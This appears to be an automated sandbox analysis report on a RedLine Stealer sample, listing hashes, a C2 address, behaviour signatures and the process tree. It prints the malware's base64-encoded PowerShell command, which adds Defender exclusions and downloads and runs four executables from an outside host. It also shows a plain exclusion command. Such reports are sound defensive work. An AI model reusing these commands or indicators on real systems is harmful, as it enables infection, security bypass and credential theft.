Analysis
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max time kernel
42s -
max time network
77s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
05-02-2023 13:04
Static task
static1
Behavioral task
behavioral1
Sample
aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
Resource
win10v2004-20220812-en
General
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Target
aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
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Size
626KB
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MD5
47b01695ff80b03ae518b333163da42c
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SHA1
aa95d6c08ae9201828da23593e42df4a2e39ce82
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SHA256
474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e
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SHA512
886a285e76a7d41e14bb1cfef3a464dc47e4b665bfd6905f26961253fd5f4eee0a6fed01afd464d603c8d17f6d09edc475e2fdd4da79178c6be0f54dc5bad466
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SSDEEP
6144:fMEN1L7wFSXZX4KipZx7fuwkBzvGwxAOo8jRfAAfc:f9N1LkFSJX45p3Uhq8jRAAE
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/3596-168-0x0000000000830000-0x0000000000850000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 3156 created 1124 3156 SmartDefRun.exe 19 PID 3156 created 1124 3156 SmartDefRun.exe 19 PID 3156 created 1124 3156 SmartDefRun.exe 19 PID 3156 created 1124 3156 SmartDefRun.exe 19 PID 1808 created 580 1808 powershell.EXE 5 -
Blocklisted process makes network request 1 IoCs
flow pid Process 16 472 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Executes dropped EXE 4 IoCs
pid Process 3076 new2.exe 2224 C4Loader.exe 3156 SmartDefRun.exe 3908 SysApp.exe -
Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4984 set thread context of 1460 4984 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 82 PID 3076 set thread context of 3596 3076 new2.exe 91 PID 3156 set thread context of 1156 3156 SmartDefRun.exe 114 PID 1808 set thread context of 4036 1808 powershell.EXE 119 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 424 sc.exe 1364 sc.exe 5100 sc.exe 4960 sc.exe 1588 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 4924 4984 WerFault.exe 80 820 3076 WerFault.exe 87 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 42 IoCs
pid Process 472 powershell.exe 472 powershell.exe 3908 SysApp.exe 3908 SysApp.exe 3908 SysApp.exe 3908 SysApp.exe 3908 SysApp.exe 3908 SysApp.exe 3908 SysApp.exe 3908 SysApp.exe 3908 SysApp.exe 3908 SysApp.exe 3596 vbc.exe 3156 SmartDefRun.exe 3156 SmartDefRun.exe 2436 powershell.exe 2436 powershell.exe 3156 SmartDefRun.exe 3156 SmartDefRun.exe 3156 SmartDefRun.exe 3156 SmartDefRun.exe 3252 powershell.exe 3252 powershell.exe 3156 SmartDefRun.exe 3156 SmartDefRun.exe 3136 powershell.EXE 1808 powershell.EXE 1808 powershell.EXE 3136 powershell.EXE 1808 powershell.EXE 4036 dllhost.exe 4036 dllhost.exe 4036 dllhost.exe 4036 dllhost.exe 4036 dllhost.exe 4036 dllhost.exe 4036 dllhost.exe 4036 dllhost.exe 4036 dllhost.exe 4036 dllhost.exe 4036 dllhost.exe 4036 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 472 powershell.exe Token: SeDebugPrivilege 3596 vbc.exe Token: SeDebugPrivilege 2436 powershell.exe Token: SeDebugPrivilege 3252 powershell.exe Token: SeIncreaseQuotaPrivilege 3252 powershell.exe Token: SeSecurityPrivilege 3252 powershell.exe Token: SeTakeOwnershipPrivilege 3252 powershell.exe Token: SeLoadDriverPrivilege 3252 powershell.exe Token: SeSystemProfilePrivilege 3252 powershell.exe Token: SeSystemtimePrivilege 3252 powershell.exe Token: SeProfSingleProcessPrivilege 3252 powershell.exe Token: SeIncBasePriorityPrivilege 3252 powershell.exe Token: SeCreatePagefilePrivilege 3252 powershell.exe Token: SeBackupPrivilege 3252 powershell.exe Token: SeRestorePrivilege 3252 powershell.exe Token: SeShutdownPrivilege 3252 powershell.exe Token: SeDebugPrivilege 3252 powershell.exe Token: SeSystemEnvironmentPrivilege 3252 powershell.exe Token: SeRemoteShutdownPrivilege 3252 powershell.exe Token: SeUndockPrivilege 3252 powershell.exe Token: SeManageVolumePrivilege 3252 powershell.exe Token: 33 3252 powershell.exe Token: 34 3252 powershell.exe Token: 35 3252 powershell.exe Token: 36 3252 powershell.exe Token: SeIncreaseQuotaPrivilege 3252 powershell.exe Token: SeSecurityPrivilege 3252 powershell.exe Token: SeTakeOwnershipPrivilege 3252 powershell.exe Token: SeLoadDriverPrivilege 3252 powershell.exe Token: SeSystemProfilePrivilege 3252 powershell.exe Token: SeSystemtimePrivilege 3252 powershell.exe Token: SeProfSingleProcessPrivilege 3252 powershell.exe Token: SeIncBasePriorityPrivilege 3252 powershell.exe Token: SeCreatePagefilePrivilege 3252 powershell.exe Token: SeBackupPrivilege 3252 powershell.exe Token: SeRestorePrivilege 3252 powershell.exe Token: SeShutdownPrivilege 3252 powershell.exe Token: SeDebugPrivilege 3252 powershell.exe Token: SeSystemEnvironmentPrivilege 3252 powershell.exe Token: SeRemoteShutdownPrivilege 3252 powershell.exe Token: SeUndockPrivilege 3252 powershell.exe Token: SeManageVolumePrivilege 3252 powershell.exe Token: 33 3252 powershell.exe Token: 34 3252 powershell.exe Token: 35 3252 powershell.exe Token: 36 3252 powershell.exe Token: SeIncreaseQuotaPrivilege 3252 powershell.exe Token: SeSecurityPrivilege 3252 powershell.exe Token: SeTakeOwnershipPrivilege 3252 powershell.exe Token: SeLoadDriverPrivilege 3252 powershell.exe Token: SeSystemProfilePrivilege 3252 powershell.exe Token: SeSystemtimePrivilege 3252 powershell.exe Token: SeProfSingleProcessPrivilege 3252 powershell.exe Token: SeIncBasePriorityPrivilege 3252 powershell.exe Token: SeCreatePagefilePrivilege 3252 powershell.exe Token: SeBackupPrivilege 3252 powershell.exe Token: SeRestorePrivilege 3252 powershell.exe Token: SeShutdownPrivilege 3252 powershell.exe Token: SeDebugPrivilege 3252 powershell.exe Token: SeSystemEnvironmentPrivilege 3252 powershell.exe Token: SeRemoteShutdownPrivilege 3252 powershell.exe Token: SeUndockPrivilege 3252 powershell.exe Token: SeManageVolumePrivilege 3252 powershell.exe Token: 33 3252 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4984 wrote to memory of 1460 4984 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 82 PID 4984 wrote to memory of 1460 4984 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 82 PID 4984 wrote to memory of 1460 4984 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 82 PID 4984 wrote to memory of 1460 4984 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 82 PID 4984 wrote to memory of 1460 4984 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 82 PID 1460 wrote to memory of 472 1460 vbc.exe 85 PID 1460 wrote to memory of 472 1460 vbc.exe 85 PID 1460 wrote to memory of 472 1460 vbc.exe 85 PID 472 wrote to memory of 3076 472 powershell.exe 87 PID 472 wrote to memory of 3076 472 powershell.exe 87 PID 472 wrote to memory of 3076 472 powershell.exe 87 PID 472 wrote to memory of 2224 472 powershell.exe 89 PID 472 wrote to memory of 2224 472 powershell.exe 89 PID 472 wrote to memory of 2224 472 powershell.exe 89 PID 472 wrote to memory of 3156 472 powershell.exe 90 PID 472 wrote to memory of 3156 472 powershell.exe 90 PID 3076 wrote to memory of 3596 3076 new2.exe 91 PID 3076 wrote to memory of 3596 3076 new2.exe 91 PID 3076 wrote to memory of 3596 3076 new2.exe 91 PID 3076 wrote to memory of 3596 3076 new2.exe 91 PID 472 wrote to memory of 3908 472 powershell.exe 92 PID 472 wrote to memory of 3908 472 powershell.exe 92 PID 472 wrote to memory of 3908 472 powershell.exe 92 PID 3076 wrote to memory of 3596 3076 new2.exe 91 PID 1968 wrote to memory of 424 1968 cmd.exe 103 PID 1968 wrote to memory of 424 1968 cmd.exe 103 PID 1968 wrote to memory of 1364 1968 cmd.exe 104 PID 1968 wrote to memory of 1364 1968 cmd.exe 104 PID 1968 wrote to memory of 5100 1968 cmd.exe 105 PID 1968 wrote to memory of 5100 1968 cmd.exe 105 PID 1968 wrote to memory of 4960 1968 cmd.exe 106 PID 1968 wrote to memory of 4960 1968 cmd.exe 106 PID 1968 wrote to memory of 1588 1968 cmd.exe 108 PID 1968 wrote to memory of 1588 1968 cmd.exe 108 PID 1968 wrote to memory of 3112 1968 cmd.exe 109 PID 1968 wrote to memory of 3112 1968 cmd.exe 109 PID 1968 wrote to memory of 3736 1968 cmd.exe 110 PID 1968 wrote to memory of 3736 1968 cmd.exe 110 PID 1968 wrote to memory of 1772 1968 cmd.exe 111 PID 1968 wrote to memory of 1772 1968 cmd.exe 111 PID 1968 wrote to memory of 1624 1968 cmd.exe 112 PID 1968 wrote to memory of 1624 1968 cmd.exe 112 PID 1968 wrote to memory of 4924 1968 cmd.exe 113 PID 1968 wrote to memory of 4924 1968 cmd.exe 113 PID 3156 wrote to memory of 1156 3156 SmartDefRun.exe 114 PID 1808 wrote to memory of 4036 1808 powershell.EXE 119 PID 1808 wrote to memory of 4036 1808 powershell.EXE 119 PID 1808 wrote to memory of 4036 1808 powershell.EXE 119 PID 1808 wrote to memory of 4036 1808 powershell.EXE 119 PID 1808 wrote to memory of 4036 1808 powershell.EXE 119 PID 1808 wrote to memory of 4036 1808 powershell.EXE 119 PID 1808 wrote to memory of 4036 1808 powershell.EXE 119 PID 1808 wrote to memory of 4036 1808 powershell.EXE 119 PID 1808 wrote to memory of 4036 1808 powershell.EXE 119 PID 4036 wrote to memory of 580 4036 dllhost.exe 5 PID 4036 wrote to memory of 664 4036 dllhost.exe 3 PID 4036 wrote to memory of 944 4036 dllhost.exe 10 PID 4036 wrote to memory of 1020 4036 dllhost.exe 9 PID 4036 wrote to memory of 372 4036 dllhost.exe 8 PID 4036 wrote to memory of 744 4036 dllhost.exe 79 PID 4036 wrote to memory of 888 4036 dllhost.exe 78 PID 4036 wrote to memory of 428 4036 dllhost.exe 77 PID 4036 wrote to memory of 1036 4036 dllhost.exe 76 PID 4036 wrote to memory of 1144 4036 dllhost.exe 53
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:664
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:580
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1020
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{1c930b06-3d85-451b-84d4-a59333820e5b}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4036
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:372
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:944
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3464
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3096
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1124
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C:\Users\Admin\AppData\Local\Temp\aa95d6c08ae9201828da23593e42df4a2e39ce82.exe"C:\Users\Admin\AppData\Local\Temp\aa95d6c08ae9201828da23593e42df4a2e39ce82.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4984 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1460 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:472 -
C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3076 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3596
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3076 -s 2566⤵
- Program crash
PID:820
-
-
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C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:2224
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3156
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3908
-
-
-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4984 -s 1363⤵
- Program crash
PID:4924
-
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2436
-
